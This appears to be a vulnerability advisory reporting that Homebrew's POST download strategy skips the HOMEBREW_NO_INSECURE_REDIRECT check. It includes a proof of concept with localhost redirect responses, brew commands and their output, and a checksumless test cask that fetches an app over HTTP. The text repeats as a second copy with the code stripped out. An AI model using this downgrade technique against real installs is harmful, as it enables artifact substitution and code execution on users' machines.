Summary
Verified against Homebrew/brew commit 3a3bc20c79796ca873abea0e884810ff11be3b55 from 2026-05-19. The attacker-controlled input is a Formula, Cask, or Resource URL that uses using: :post, plus the redirect behavior of that URL. The external entry point is brew fetch or an install path that downloads a using: :post artifact while HOMEBREW_NO_INSECURE_REDIRECT=1 is set.
Details
docs/Manpage.md documents HOMEBREW_NO_INSECURE_REDIRECT as forbidding redirects from secure HTTPS to insecure HTTP:
If set, forbid redirects from secure HTTPS to insecure HTTP.
The base download strategy in Library/Homebrew/download_strategy/curl_download_strategy.rb rejects HTTPS-to-HTTP redirects by checking resolved_url before downloading:
def _fetch(url:, resolved_url:, timeout:)
ohai "Downloading from #{resolved_url}" if url != resolved_url
if Homebrew::EnvConfig.no_insecure_redirect? &&
url.start_with?("https://") && !resolved_url.start_with?("https://")
error_message = "HTTPS to HTTP redirect detected and `$HOMEBREW_NO_INSECURE_REDIRECT` is set."
$stderr.puts error_message unless quiet?
raise CurlDownloadStrategyError.new(url, error_message)
end
_curl_download resolved_url, temporary_path, timeout
end
Library/Homebrew/download_strategy/curl_post_download_strategy.rb overrides _fetch, receives the same resolved_url parameter, but does not use it and does not repeat the insecure redirect check:
def _fetch(url:, resolved_url:, timeout:)
args = if meta.key?(:data)
escape_data = ->(d) { ["-d", URI.encode_www_form([d])] }
[url, *meta[:data].flat_map(&escape_data)]
else
url, query = url.split("?", 2)
query.nil? ? [url, "-X", "POST"] : [url, "-d", query]
end
curl_download(*args, to: temporary_path, try_partial: @try_partial, timeout:)
end
The sink is curl_download, which prepends --location and follows redirects:
def curl_download(*args, to:, try_partial: false, **options)
destination = Pathname(to)
destination.dirname.mkpath
args = ["--location", *args]
The missing check is in the POST-specific override: it discards the resolved redirect target that the base class would have checked and downloads the original URL with curl redirect following enabled. As a result, an HTTPS using: :post URL can redirect to HTTP without triggering the configured HTTPS-to-HTTP redirect protection.
PoC
- Configure an HTTPS endpoint at
https://localhost:18443/artifact.tar.gz?form=data and an HTTP endpoint at http://localhost:18080/artifact.tar.gz. Serve these responses:
HEAD /artifact.tar.gz?form=data HTTP/1.1
Host: localhost:18443
HTTP/1.0 302 Found
Location: http://localhost:18080/artifact.tar.gz
POST /artifact.tar.gz HTTP/1.1
Host: localhost:18443
Content-Type: application/x-www-form-urlencoded
form=data
HTTP/1.0 302 Found
Location: http://localhost:18080/artifact.tar.gz
GET /artifact.tar.gz HTTP/1.1
Host: localhost:18080
HTTP/1.0 200 OK
Content-Type: application/octet-stream
<archive bytes>
- Run a differential experiment with
HOMEBREW_NO_INSECURE_REDIRECT=1. The normal strategy receives resolved_url as HTTP and fails:
HOMEBREW_CACHE=/work/cache \
HOMEBREW_NO_AUTO_UPDATE=1 \
HOMEBREW_NO_INSTALL_FROM_API=1 \
HOMEBREW_NO_INSECURE_REDIRECT=1 \
/repo/bin/brew ruby -- /work/run_strategy.rb \
https://localhost:18443/artifact.tar.gz get
HTTPS to HTTP redirect detected and `$HOMEBREW_NO_INSECURE_REDIRECT` is set.
FETCH_ERROR strategy=get class=CurlDownloadStrategyError
- Under the same policy, the POST strategy succeeds and caches the artifact:
HOMEBREW_CACHE=/work/cache \
HOMEBREW_NO_AUTO_UPDATE=1 \
HOMEBREW_NO_INSTALL_FROM_API=1 \
HOMEBREW_NO_INSECURE_REDIRECT=1 \
/repo/bin/brew ruby -- /work/run_strategy.rb \
'https://localhost:18443/artifact.tar.gz?form=data' post
FETCH_OK strategy=post path=/work/cache/downloads/...--artifact.tar.gz size=198 sha256=8bf6c2198d4a923fc77d9247924c100039c5a99b00adad4e97db1c7dc61e07c8
The server log proves that the real artifact bytes were served from HTTP:
HTTPS POST /artifact.tar.gz body=form=data -> 302 Location: http://localhost:18080/artifact.tar.gz
HTTP GET /artifact.tar.gz -> 200 artifact bytes=198
- Add the same guard used by the base strategy to the POST strategy. A monkey patch that checks
resolved_url before calling the original POST _fetch makes the same POST case fail:
PATCHED_POST_EXIT=1
HTTPS to HTTP redirect detected and `$HOMEBREW_NO_INSECURE_REDIRECT` is set.
FETCH_ERROR strategy=post class=CurlDownloadStrategyError
This confirms the bug is specifically the POST override discarding resolved_url and not repeating the base strategy's redirect check.
- For checksumless casks, the bypass can become executable artifact substitution. A local cask with
sha256 :no_check, using: :post, and an .app inside the downloaded zip was fetched through the same Cask download path:
cask "vuln-no-check" do
version :latest
sha256 :no_check
url "https://localhost:18443/artifact.zip?form=data", using: :post
name "Vuln No Check"
desc "no_check POST redirect test"
homepage "https://localhost:18443"
app "Payload.app"
end
CASK token=vuln-no-check sha256=:no_check url=https://localhost:18443/artifact.zip?form=data
Warning: No checksum defined for cask 'vuln-no-check', skipping verification.
CASK_FETCH_OK path=/work/cache/downloads/...--artifact.zip size=210 sha256=e583abd92f774d06a5f2aa931b5019340dd21f2ec8bf0bbad3c0d8f22c255d2e
The corresponding server log shows the checksumless cask artifact was delivered from HTTP:
HTTPS POST /artifact.zip body=form=data -> 302 Location: http://localhost:18080/artifact.zip
HTTP GET /artifact.zip -> 200 artifact bytes=210
This demonstrates that sha256 :no_check does not provide an integrity backstop after the POST strategy crosses from HTTPS to HTTP.
Impact
An attacker who can influence the HTTP leg reached by a using: :post Homebrew download can make brew follow an HTTPS-to-HTTP redirect even when HOMEBREW_NO_INSECURE_REDIRECT=1 is set. Unlike the ordinary GET strategy, the POST strategy does not enforce the documented downgrade protection because it receives resolved_url, discards it, and performs the real download from the original URL with curl --location.
For checksum-protected Formula or Cask downloads, the attacker still has to supply bytes that match the configured checksum. For checksumless casks, the impact is materially higher: sha256 :no_check explicitly skips verification, and the PoC shows a POST-based checksumless cask fetching an .app zip from HTTP while the protection is enabled. If such a cask is in a trusted tap or accepted review path, an attacker with control over the HTTP leg can substitute an executable artifact and obtain code execution in the user's install context, for example through a malicious .pkg installer script or an application artifact later launched by the user.
Summary
Verified against Homebrew/brew commit
3a3bc20c79796ca873abea0e884810ff11be3b55from 2026-05-19. The attacker-controlled input is a Formula, Cask, or Resource URL that usesusing: :post, plus the redirect behavior of that URL. The external entry point isbrew fetchor an install path that downloads ausing: :postartifact whileHOMEBREW_NO_INSECURE_REDIRECT=1is set.Details
docs/Manpage.mddocumentsHOMEBREW_NO_INSECURE_REDIRECTas forbidding redirects from secure HTTPS to insecure HTTP:The base download strategy in
Library/Homebrew/download_strategy/curl_download_strategy.rbrejects HTTPS-to-HTTP redirects by checkingresolved_urlbefore downloading:Library/Homebrew/download_strategy/curl_post_download_strategy.rboverrides_fetch, receives the sameresolved_urlparameter, but does not use it and does not repeat the insecure redirect check:The sink is
curl_download, which prepends--locationand follows redirects:The missing check is in the POST-specific override: it discards the resolved redirect target that the base class would have checked and downloads the original URL with curl redirect following enabled. As a result, an HTTPS
using: :postURL can redirect to HTTP without triggering the configured HTTPS-to-HTTP redirect protection.PoC
https://localhost:18443/artifact.tar.gz?form=dataand an HTTP endpoint athttp://localhost:18080/artifact.tar.gz. Serve these responses:HOMEBREW_NO_INSECURE_REDIRECT=1. The normal strategy receivesresolved_urlas HTTP and fails:HOMEBREW_CACHE=/work/cache \ HOMEBREW_NO_AUTO_UPDATE=1 \ HOMEBREW_NO_INSTALL_FROM_API=1 \ HOMEBREW_NO_INSECURE_REDIRECT=1 \ /repo/bin/brew ruby -- /work/run_strategy.rb \ 'https://localhost:18443/artifact.tar.gz?form=data' postThe server log proves that the real artifact bytes were served from HTTP:
resolved_urlbefore calling the original POST_fetchmakes the same POST case fail:This confirms the bug is specifically the POST override discarding
resolved_urland not repeating the base strategy's redirect check.sha256 :no_check,using: :post, and an.appinside the downloaded zip was fetched through the same Cask download path:The corresponding server log shows the checksumless cask artifact was delivered from HTTP:
This demonstrates that
sha256 :no_checkdoes not provide an integrity backstop after the POST strategy crosses from HTTPS to HTTP.Impact
An attacker who can influence the HTTP leg reached by a
using: :postHomebrew download can makebrewfollow an HTTPS-to-HTTP redirect even whenHOMEBREW_NO_INSECURE_REDIRECT=1is set. Unlike the ordinary GET strategy, the POST strategy does not enforce the documented downgrade protection because it receivesresolved_url, discards it, and performs the real download from the original URL withcurl --location.For checksum-protected Formula or Cask downloads, the attacker still has to supply bytes that match the configured checksum. For checksumless casks, the impact is materially higher:
sha256 :no_checkexplicitly skips verification, and the PoC shows a POST-based checksumless cask fetching an.appzip from HTTP while the protection is enabled. If such a cask is in a trusted tap or accepted review path, an attacker with control over the HTTP leg can substitute an executable artifact and obtain code execution in the user's install context, for example through a malicious.pkginstaller script or an application artifact later launched by the user.